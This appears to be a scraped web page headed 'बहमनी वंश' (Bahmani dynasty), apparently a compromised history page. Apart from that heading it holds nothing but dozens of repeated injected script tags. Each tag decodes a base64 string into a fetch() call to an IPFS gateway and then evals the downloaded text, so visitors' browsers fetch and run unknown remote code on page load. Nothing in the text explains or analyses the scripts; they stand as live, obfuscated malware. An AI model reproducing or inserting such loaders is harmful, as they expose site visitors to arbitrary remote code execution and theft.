<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बहमनी वंश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>